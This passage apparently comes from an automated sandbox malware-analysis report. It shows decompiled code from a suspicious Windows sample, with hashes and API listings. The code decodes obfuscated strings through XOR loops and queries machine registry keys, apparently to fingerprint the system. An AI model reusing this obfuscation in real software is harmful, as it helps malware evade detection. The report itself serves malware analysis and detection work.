					_t50 =  *(_t89 - 0x40) & 0x0000ffff;
				}
				_t52 = E00415060(_t70, 0, GetModuleHandleA(0), 0,  *((intOrPtr*)(_t89 - 0x20)), _t50); // executed
				_t82 = _t52;
				 *((intOrPtr*)(_t89 - 0x2c)) = _t52;
				if( *(_t89 - 0x1c) == 0) {
					E00429317(_t82);
				}
				E00429339();
				 *(_t89 - 4) =  *(_t89 - 4) | 0xffffffff;
				return E00426687(_t82);
			}

0x00425d91
0x00425d98
0x00425da4
0x00425da9
0x00425dac
0x00425dae
0x00425db1
0x00425db7
0x00425dba
0x00425dc0
0x00425dc3
0x00425dc8
0x00425dcb
0x00425dd4
0x00425dda
0x00425de3
0x00425deb
0x00425deb
0x00425df6
0x00425e04
0x00425e0b
0x00425e2c
0x00425e2c
0x00425e0d
0x00425e10
0x00425e18
0x00000000
0x00425e1a
0x00425e1a
0x00425e23
0x00425e44
0x00425e48
0x00000000
0x00425e4a
0x00425e4a
0x00425e4c
0x00000000
0x00425e4c
0x00425e25
0x00425e2a
0x00425e31
0x00425e38
0x00000000
0x00425e3a
0x00425e3a
0x00425e3c
0x00425e52
0x00425e52
0x00425e52
0x00425e55
0x00425e55
0x00000000
0x00000000
0x00000000
0x00425e2a
0x00425e23
0x00425e18
0x00425e62
0x00425e66
0x00425e6b
0x00425e6c
0x00425e71
0x00425e73
0x00425e77
0x00425e7c
0x00425e7d
0x00425e82
0x00425e8c
0x00425e90
0x00425e95
0x00425e9c
0x00425ea6
0x00425eb2
0x00425eb6
0x00425ebb
0x00425ec3
0x00425ec7
0x00425ecc
0x00425ecf
0x00425ed4
0x00425ed5
0x00425eda
0x00425edd
0x00425ee2
0x00425ee2
0x00425ee3
0x00425eea
0x00425ef5
0x00425efc
0x00425f06
0x00425efe
0x00425efe
0x00425efe
0x00425f10
0x00425f15
0x00425f17
0x00425f1d
0x00425f20
0x00425f20
0x00425f25
0x00425f57
0x00425f65

APIs

GetVersionExA.KERNEL32(?,0042E598,00000060), ref: 00425DB1
GetModuleHandleA.KERNEL32(00000000,?,0042E598,00000060), ref: 00425E04
_fast_error_exit.LIBCMT ref: 00425E66
_fast_error_exit.LIBCMT ref: 00425E77
GetCommandLineA.KERNEL32(?,0042E598,00000060), ref: 00425E96
GetStartupInfoA.KERNEL32(?), ref: 00425EEA
__wincmdln.LIBCMT ref: 00425EF0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00425F0D

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
String ID:
API String ID: 3897392166-0
Opcode ID: 52411a5f5727b6baa2de8cc56f4c3c07eb486bf30bc450b3c7f1595807bf0bd3
Instruction ID: fff0b790c7a0d9b16c0474446a89fef60bd80b9f406c56c5ed212da1009f27c5
Opcode Fuzzy Hash: 52411a5f5727b6baa2de8cc56f4c3c07eb486bf30bc450b3c7f1595807bf0bd3
Instruction Fuzzy Hash: 8A41B470B40B30CBDB20AB76FC0566E76A0AF04714FA5443FF9149A291DB7D8942CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042731A, Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_000272CC), ref: 0042731F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction ID: 91d239ce8c3ec9bc864000ee122172ece4c8541e5da3e4e88b6e0ad87dd54bef
Opcode Fuzzy Hash: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction Fuzzy Hash: 74A012743022008BD3149F306E0501039A09E002013411075E500C1230D7700004D519

Uniqueness

Uniqueness Score: -1.00%

Function 0042732E, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00427333

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction ID: 8169098ac00662e5d218563eb379ef12e921e05fa147c2ad6ec4e4497947ff53
Opcode Fuzzy Hash: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00420570, Relevance: 214.1, APIs: 14, Strings: 108, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00420570(void* __ebx, char __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				int _v260;
				int _v264;
				void* _v268;
				void* _v272;
				void* _v284;
				void* _v288;
				intOrPtr _t431;
				intOrPtr* _t434;
				char* _t438;
				void* _t443;
				signed int _t444;
				void* _t447;
				void* _t451;
				signed short _t452;
				long _t466;
				long _t471;
				long _t474;
				intOrPtr* _t475;
				signed short _t477;
				long _t490;
				signed int _t502;
				intOrPtr _t504;
				signed short _t508;
				intOrPtr* _t527;
				char _t528;
				signed short _t531;
				intOrPtr* _t539;
				intOrPtr* _t553;
				signed int _t554;
				intOrPtr* _t560;
				char* _t562;
				intOrPtr* _t569;
				signed int _t570;
				char* _t575;
				signed int _t576;
				void** _t578;

				_t578 =  &_v272;
				_t431 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t431;
				_v256 = __ecx;
				_v151 = 0x2c;
				_v146 = 0x2c;
				_v125 = 0x2c;
				_push(__ebx);
				_v137 = 0x45;
				_v180 = 0x45;
				_push(__ebp);
				_v136 = 0xc5;
				_v179 = 0xc5;
				_t508 =  *0x431f38; // 0x2d2c
				_v166 = 0x40;
				_v155 = 0x40;
				_v152 = 0x54;
				_v150 = 0x7c;
				_v149 = 0xc;
				_v148 = 0x12;
				_v147 = 0x7c;
				_v145 = 0xe7;
				_v144 = 0x50;
				_v143 = 0x8d;
				_v142 = 0x53;
				_v141 = 0x29;
				_v140 = 0xa2;
				_v139 = 0xa8;
				_v138 = 0x4e;
				_v135 = 0x81;
				_v134 = 9;
				_v133 = 0xb3;
				_v132 = 0xdc;
				_v131 = 0x50;
				_v130 = 0x2a;
				_v129 = 0xc2;
				_v128 = 5;
				_v127 = 0x69;
				_v126 = 0x76;
				_v124 = 0x20;
				_v123 = 0x30;
				_v122 = 0x70;
				_v121 = 0x9e;
				_v184 = 0xff;
				_v183 = 0x23;
				_v182 = 0xca;
				_v181 = 0x48;
				_v178 = 0x26;
				_v177 = 0x5e;
				_v176 = 0xc;
				_v175 = 0xc6;
				_v174 = 0x26;
				_v173 = 0x44;
				_v172 = 0xbf;
				_v171 = 0xc6;
				_v170 = 0x26;
				_v169 = 0x20;
				_v168 = 0x9e;
				_v167 = 0xdb;
				_v165 = 0xbb;
				_v164 = 0x97;
				_v163 = 0x24;
				_v162 = 0x37;
				_v161 = 0xaa;
				_v160 = 0x67;
				_v159 = 0xfc;
				_v158 = 0xee;
				_v157 = 0x15;
				_v156 = 0x50;
				_v154 = 3;
				_v153 = 0x62;
				_t434 = 0;
				_push(__esi);
				do {
					 *((intOrPtr*)(_t578 + _t434 + 0x84)) =  *((intOrPtr*)(_t578 + _t434 + 0x84)) +  *((intOrPtr*)(_t578 + _t434 + 0x64));
					 *((intOrPtr*)(_t578 + _t434 + 0x85)) =  *((intOrPtr*)(_t578 + _t434 + 0x85)) +  *((intOrPtr*)(_t578 + _t434 + 0x65));
					 *((intOrPtr*)(_t578 + _t434 + 0x86)) =  *((intOrPtr*)(_t578 + _t434 + 0x86)) +  *((intOrPtr*)(_t578 + _t434 + 0x66));
					 *((intOrPtr*)(_t578 + _t434 + 0x87)) =  *((intOrPtr*)(_t578 + _t434 + 0x87)) +  *((intOrPtr*)(_t578 + _t434 + 0x67));
					_t434 = _t434 + 4;
					_t508 = _t508 + 0x1b4;
				} while (_t434 < 0x20);
				 *0x431f38 = _t508;
				_v184 = 0xdb;
				_v178 = 0xf2;
				_v176 = 0xf2;
				_v240 = 0xf2;
				_push(__edi);
				_v168 = 0xf8;
				_v247 = 0xf8;
				_v244 = 0x87;
				_v239 = 0x87;
				_v183 = 0x6b;
				_v182 = 0x8c;
				_v181 = 0xdf;
				_v180 = 0x11;
				_v179 = 0x4d;
				_v177 = 0x60;
				_v175 = 0xf6;
				_v174 = 0xfc;
				_v173 = 0x1a;
				_v172 = 0x4e;
				_v171 = 0x98;
				_v170 = 0x3f;
				_v169 = 0xc1;
				_v167 = 0xf4;
				_v252 = 0xbc;
				_v251 = 0xf5;
				_v250 = 0x9b;
				_v249 = 0xef;
				_v248 = 0x8a;
				_v246 = 0x96;
				_v245 = 0xf3;
				_v243 = 0xa7;
				_v242 = 0xf4;
				_v241 = 0x91;
				_v238 = 0xf5;
				_v237 = 0x9c;
				_v236 = 0xe8;
				_v235 = 0x91;
				_t438 = E0041E250(0x12,  &_v252,  &_v184);
				_v43 = 0xf3;
				_t562 = _t438;
				_v44 = 0xf4;
				_v42 = 0x36;
				_v41 = 0xbb;
				_v40 = 0x66;
				_v39 = 0x92;
				_v38 = 0x38;
				_v37 = 0x7e;
				_v36 = 0x9e;
				_v35 = 0xe6;
				_v34 = 0xcd;
				_v33 = 0x71;
				_v32 = 0x7a;
				_v31 = 0x5c;
				_v30 = 0x6d;
				_v29 = 0xbc;
				_v28 = 0x12;
				_v27 = 0xaa;
				_v26 = 0x36;
				_v25 = 0xfb;
				_v24 = 0x7e;
				_v23 = 0x11;
				_v22 = 6;
				_v21 = 0xf7;
				_v20 = 0x6a;
				_v19 = 0x36;
				_v18 = 0xac;
				_v17 = 0x31;
				_v16 = 0xcf;
				_v15 = 0x85;
				_v14 = 0xae;
				_v256 = 0xe;
				_v246 = 0xe;
				_v13 = 0x1d;
				_v12 = 0x85;
				_v11 = 0xc;
				_v10 = 0x64;
				_v9 = 0xd8;
				_v255 = 0x5d;
				_v254 = 0x12;
				_v253 = 0x54;
				_v252 = 0;
				_v251 = 0x57;
				_v250 = 0x16;
				_v249 = 0x44;
				_v248 = 1;
				_v247 = 0x5d;
				_v245 = 0x77;
				_v244 = 0x1a;
				_v243 = 0x7b;
				_v242 = 0x15;
				_v241 = 0x61;
				_v240 = 4;
				_v239 = 0x67;
				_v238 = 0x3b;
				_v237 = 0x72;
				_v236 = 0x1c;
				_v235 = 0x68;
				_v234 = 0xd;
				_v233 = 0x7f;
				_v232 = 0x11;
				_v231 = 0x74;
				_v230 = 0;
				_v229 = 0x20;
				_v228 = 0x73;
				_v227 = 0x16;
				_v226 = 0x75;
				_v225 = 0;
				_v224 = 0x72;
				_v223 = 0x1b;
				_v222 = 0x6f;
				_v221 = 0x16;
				_t575 = E0041E250(0x24,  &_v256,  &_v44);
				_v222 = 0xb1;
				_v218 = 0xb1;
				_v208 = 0xef;
				_v207 = 0x38;
				_v206 = 0xd8;
				_v205 = 0x57;
				_v204 = 0x1f;
				_v203 = 0x95;
				_v202 = 0xc6;
				_v201 = 0xc0;
				_v200 = 0xf7;
				_v199 = 0x36;
				_v198 = 0x10;
				_v197 = 0xd0;
				_v196 = 0xcb;
				_v195 = 0xe6;
				_v194 = 0x63;
				_v224 = 0xbc;
				_v223 = 0x4d;
				_v221 = 0x23;
				_v220 = 0x7a;
				_v219 = 0xda;
				_v217 = 0xae;
				_v216 = 0x92;
				_v215 = 0x44;
				_v214 = 0x57;
				_v213 = 0xa5;
				_v212 = 0xa2;
				_v211 = 0x82;
				_v210 = 0x63;
				_t443 = 0;
				do {
					 *(_t578 + _t443 + 0x58) =  *(_t578 + _t443 + 0x58) ^  *(_t578 + _t443 + 0x48);
					 *(_t578 + _t443 + 0x59) =  *(_t578 + _t443 + 0x59) ^  *(_t578 + _t443 + 0x49);
					 *(_t578 + _t443 + 0x5a) =  *(_t578 + _t443 + 0x5a) ^  *(_t578 + _t443 + 0x4a);
					 *(_t578 + _t443 + 0x5b) =  *(_t578 + _t443 + 0x5b) ^  *(_t578 + _t443 + 0x4b);
					 *(_t578 + _t443 + 0x5c) =  *(_t578 + _t443 + 0x5c) ^  *(_t578 + _t443 + 0x4c);
					_t443 = _t443 + 5;
				} while (_t443 < 0xf);
				_t444 =  *0x431f34; // 0x32
				 *0x431f34 = _t444 + 0x32;
				_v246 = 0x78;
				_v240 = 0x78;
				_v252 = 0x4e;
				_v251 = 0x64;
				_v250 = 0x70;
				_v249 = 0x7c;
				_v248 = 0x73;
				_v247 = 0x69;
				_v245 = 0x7e;
				_v244 = 0x3d;
				_v243 = 0x5e;
				_v242 = 0x72;
				_v241 = 0x6f;
				_v239 = 0x3d;
				_v238 = 0x51;
				_v237 = 0x5e;
				_v236 = 0x1d;
				_t447 = 0;
				do {
					 *(_t578 + _t447 + 0x24) =  *(_t578 + _t447 + 0x24) ^ 0x0000001d;
					_t447 = _t447 + 1;
				} while (_t447 < 0x11);
				_v103 = 0xc3;
				_v99 = 0xc3;
				_v118 = 0xf1;
				_v92 = 0x94;
				_v80 = 0xf1;
				_v77 = 0x94;
				_v120 = 0x8a;
				_v119 = 0x26;
				_v117 = 0xa3;
				_v116 = 0xc8;
				_v115 = 0xed;
				_v114 = 0x36;
				_v113 = 0x1e;
				_v112 = 0x25;
				_v111 = 0x12;
				_v110 = 0x52;
				_v109 = 0x96;
				_v108 = 0xad;
				_v107 = 0x9e;
				_v106 = 0xbf;
				_v105 = 0x75;
				_v104 = 0xdd;
				_v102 = 0xce;
				_v101 = 0x7d;
				_v100 = 0xa8;
				_v98 = 0x95;
				_v97 = 0x7b;
				_v96 = 0xa8;
				_v95 = 0;
				_v94 = 0x35;
				_v93 = 0x16;
				_v91 = 0x19;
				_v90 = 0x2f;
				_v89 = 0xd6;
				_v88 = 0x67;
				_v87 = 0x14;
				_v86 = 0x50;
				_v85 = 0xf4;
				_v84 = 0x54;
				_v83 = 0x88;
				_v82 = 0xfc;
				_v79 = 0x60;
				_v78 = 0xc1;
				_v76 = 0xfb;
				_v75 = 0xaf;
				_v74 = 0x72;
				_v73 = 0x5d;
				_v72 = 0x1c;
				_v71 = 0x3f;
				_v70 = 0x62;
				_v69 = 0xd2;
				_v68 = 0x9b;
				_v67 = 0xa9;
				_v66 = 0x92;
				_v65 = 0x41;
				_v64 = 0x9b;
				_v63 = 0x85;
				_v62 = 0xfe;
				_v61 = 0x50;
				_v60 = 0x90;
				_v59 = 0xf4;
				_v58 = 0xac;
				_v57 = 0x3e;
				_v56 = 0x85;
				_v55 = 0x32;
				_v54 = 2;
				_v53 = 0x24;
				_v52 = 0xa0;
				_v51 = 0x28;
				_v50 = 0x6c;
				_v49 = 0xee;
				_v48 = 0x53;
				_v47 = 0x27;
				_v46 = 0x68;
				_v45 = 0xc6;
				_v44 = 0x6c;
				_v43 = 0xf5;
				_v42 = 0xfc;
				_t451 = 0;
				do {
					 *(_t578 + _t451 + 0xa8) =  *(_t578 + _t451 + 0xa8) ^  *(_t578 + _t451 + 0xd0);
					 *(_t578 + _t451 + 0xa9) =  *(_t578 + _t451 + 0xa9) ^  *(_t578 + _t451 + 0xd1);
					 *(_t578 + _t451 + 0xaa) =  *(_t578 + _t451 + 0xaa) ^  *(_t578 + _t451 + 0xd2);
					_t451 = _t451 + 3;
				} while (_t451 < 0x27);
				_t452 =  *0x431f38; // 0x2d2c
				_t502 =  *0x431f34; // 0x32
				 *0x431f34 = _t502 + 0x32;
				_v216 = 0x41;
				_v215 = 0x63;
				_v214 = 0x74;
				_v213 = 0x69;
				_v212 = 0x76;
				_v211 = 0x65;
				_v210 = 0x4e;
				_v209 = 0x49;
				_v208 = 0x53;
				_v207 = 0;
				 *0x431f38 = _t452 + 0x442;
				_v264 = 0xff;
				_v260 = 0;
				_v268 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t466 = RegOpenKeyExA(0x80000002,  &_v152, 0, 1,  &_v272); // executed
				if(_t466 == 0) {
					_t504 = _v256;
				} else {
					_t490 = GetLastError();
					_t504 = _v256;
					 *(_t504 + 0x74) = _t490;
				}
				if(RegQueryValueExA(_v272, _t562, 0,  &_v260, _v268,  &_v264) == 0) {
					 *((intOrPtr*)(_t504 + 0x70)) = 0x17;
					 *(_t504 + 0x78) = 1;
				} else {
					 *(_t504 + 0x74) = GetLastError();
				}
				RegCloseKey(_v272);
				_t471 = RegOpenKeyExA(0x80000002, _t575, 0, 1,  &_v272); // executed
				if(_t471 != 0) {
					 *(_t504 + 0x74) = GetLastError();
				}
				_t474 = RegQueryValueExA(_v272,  &_v200, 0,  &_v260, _v268,  &_v264);
				_t576 = _t575 | 0xffffffff;
				if(_t474 == 0) {
					_push(_v268);
					 *0x431f34 = 0x6d;
					_t569 =  &_v120;
					_t475 = E0042CFCE(_t504, 0x7d6, _t569, __eflags);
					while(1) {
						_t553 =  *_t475;
						_t527 = _t553;
						__eflags = _t553 -  *_t569;
						if(_t553 !=  *_t569) {
							break;
						}
						__eflags = _t527;
						if(_t527 == 0) {
							L23:
							_t475 = 0;
							L25:
							__eflags = _t475;
							if(_t475 == 0) {
								 *(_t504 + 0x64) = 0x7d6;
							}
							goto L27;
						}
						_t560 =  *((intOrPtr*)(_t475 + 1));
						_t539 = _t560;
						__eflags = _t560 -  *((intOrPtr*)(_t569 + 1));
						if(_t560 !=  *((intOrPtr*)(_t569 + 1))) {
							break;
						}
						_t475 = _t475 + 2;
						_t569 = _t569 + 2;
						__eflags = _t539;
						if(_t539 != 0) {
							continue;
						}
						goto L23;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L25;
				} else {
					 *(_t504 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L27:
					_t528 =  *0x431f30;
					_t554 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t477 = 0x77 - _t528;
					 *0x431f38 = _t477;
					 *0x431f34 = (_t477 & 0x0000ffff) << 2;
					_t531 = _t528 + _t554 + 0x0000000b & 0x00000016;
					if( *(_t504 + 0x64) != 0x7d6) {
						 *(_t504 + 0x64) = _t576;
						 *(_t504 + 0x68) = _t576;
						 *(_t504 + 0x6c) = _t576;
						_t477 =  *0x431f38; // 0x2d2c
					}
					_t570 =  *0x431f2c; // 0x0
					 *0x431f2c = _t570 & _t531 * (_t477 & 0x0000ffff) - 0x00000043;
					_t423 = _t504 + 0x74; // 0x173
					_t572 = _t423;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t504 + 0x7c)) = E0041F020( &_v252, _t423);
					 *((intOrPtr*)(_t504 + 0x80)) = E0041F100(_t504,  &_v224, _t572);
					HeapFree(GetProcessHeap(), 0, _v284);
					RegCloseKey(_v288);
					return E00424873(0, _v20);
				}
			}

0x00420570
0x00420576
0x0042057b
0x00420586
0x0042058a
0x0042058e
0x00420594
0x0042059d
0x0042059e
0x004205a5
0x004205ab
0x004205ac
0x004205b3
0x004205b7
0x004205be
0x004205c2
0x004205c6
0x004205ce
0x004205d6
0x004205de
0x004205e6
0x004205ee
0x004205f6
0x004205fe
0x00420606
0x0042060e
0x00420616
0x0042061e
0x00420626
0x0042062e
0x00420636
0x0042063e
0x00420646
0x0042064e
0x00420656
0x0042065e
0x00420666
0x0042066e
0x00420676
0x0042067e
0x00420686
0x0042068e
0x00420696
0x0042069e
0x004206a3
0x004206a8
0x004206ad
0x004206b2
0x004206b7
0x004206bc
0x004206c1
0x004206c6
0x004206cb
0x004206d0
0x004206d5
0x004206da
0x004206df
0x004206e4
0x004206e9
0x004206ed
0x004206f2
0x004206f7
0x004206fc
0x00420701
0x00420706
0x0042070b
0x00420710
0x00420715
0x0042071a
0x0042071f
0x00420724
0x00420729
0x0042072b
0x00420730
0x00420734
0x0042073f
0x0042074a
0x00420755
0x00420768
0x0042076b
0x0042076f
0x00420776
0x0042077f
0x00420783
0x00420787
0x0042078b
0x00420791
0x00420796
0x0042079a
0x004207a0
0x004207a4
0x004207b4
0x004207b9
0x004207be
0x004207c3
0x004207c8
0x004207cd
0x004207d2
0x004207d7
0x004207dc
0x004207e1
0x004207e6
0x004207eb
0x004207f0
0x004207f5
0x004207fa
0x004207ff
0x00420804
0x00420809
0x0042080e
0x00420813
0x00420818
0x0042081c
0x00420821
0x00420826
0x0042082a
0x0042082f
0x00420834
0x00420839
0x0042083d
0x00420842
0x0042084b
0x0042084d
0x00420855
0x0042085c
0x00420864
0x0042086c
0x00420874
0x0042087c
0x00420884
0x0042088c
0x00420894
0x0042089c
0x004208a4
0x004208ac
0x004208b4
0x004208bc
0x004208c4
0x004208cc
0x004208d4
0x004208db
0x004208e3
0x004208eb
0x004208f3
0x004208fb
0x00420903
0x0042090b
0x00420912
0x0042091a
0x00420922
0x0042092a
0x00420932
0x00420943
0x00420947
0x00420955
0x0042095d
0x00420965
0x0042096d
0x00420975
0x0042097d
0x00420982
0x00420987
0x0042098c
0x00420991
0x00420996
0x0042099b
0x004209a0
0x004209a5
0x004209aa
0x004209af
0x004209b4
0x004209b9
0x004209be
0x004209c3
0x004209c8
0x004209cd
0x004209d2
0x004209d7
0x004209dc
0x004209e1
0x004209e6
0x004209eb
0x004209f0
0x004209f5
0x004209fa
0x004209ff
0x00420a04
0x00420a09
0x00420a0e
0x00420a13
0x00420a18
0x00420a1d
0x00420a22
0x00420a2c
0x00420a32
0x00420a36
0x00420a3a
0x00420a3f
0x00420a44
0x00420a49
0x00420a4e
0x00420a53
0x00420a57
0x00420a5c
0x00420a61
0x00420a66
0x00420a6a
0x00420a6f
0x00420a74
0x00420a79
0x00420a7e
0x00420a83
0x00420a88
0x00420a8d
0x00420a92
0x00420a97
0x00420a9c
0x00420aa1
0x00420aa6
0x00420aab
0x00420ab0
0x00420ab5
0x00420aba
0x00420abf
0x00420ac4
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
